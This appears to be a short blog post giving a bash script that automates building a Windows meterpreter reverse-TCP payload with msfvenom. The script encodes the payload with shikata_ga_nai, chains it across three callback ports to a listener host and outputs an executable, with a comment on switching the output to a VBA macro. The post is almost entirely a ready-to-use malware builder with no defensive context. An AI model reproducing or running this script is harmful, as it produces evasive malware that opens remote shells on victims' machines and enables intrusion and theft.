Create executable payload automatically

#!/bin/bash
# Simple builder
LHOST="192.168.91.135"
LPORTS="4444 5555 6666"

rm -fr /tmp/msf.raw
rm -fr /tmp/msf1.raw
echo "Building…"
echo -n "Port: `echo $LPORTS | cut -d " " -f 1`"
echo ""
msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=`echo $LPORTS | cut -d " " -f 1` exitfunc=thread > /tmp/msf.raw
for LPORT in `echo $LPORTS`
do
echo -n "Port: $LPORT"
echo ""
msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf.raw > /tmp/msf1.raw
cp /tmp/msf1.raw /tmp/msf.raw
done
# Change option –f exe to –f vba in order to create a vba file
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf1.raw > msf.exe
rm -fr /tmp/msf.raw
rm -fr /tmp/msf1.raw
echo -n "Done!"
Previous
Next Post »
Thanks for your comment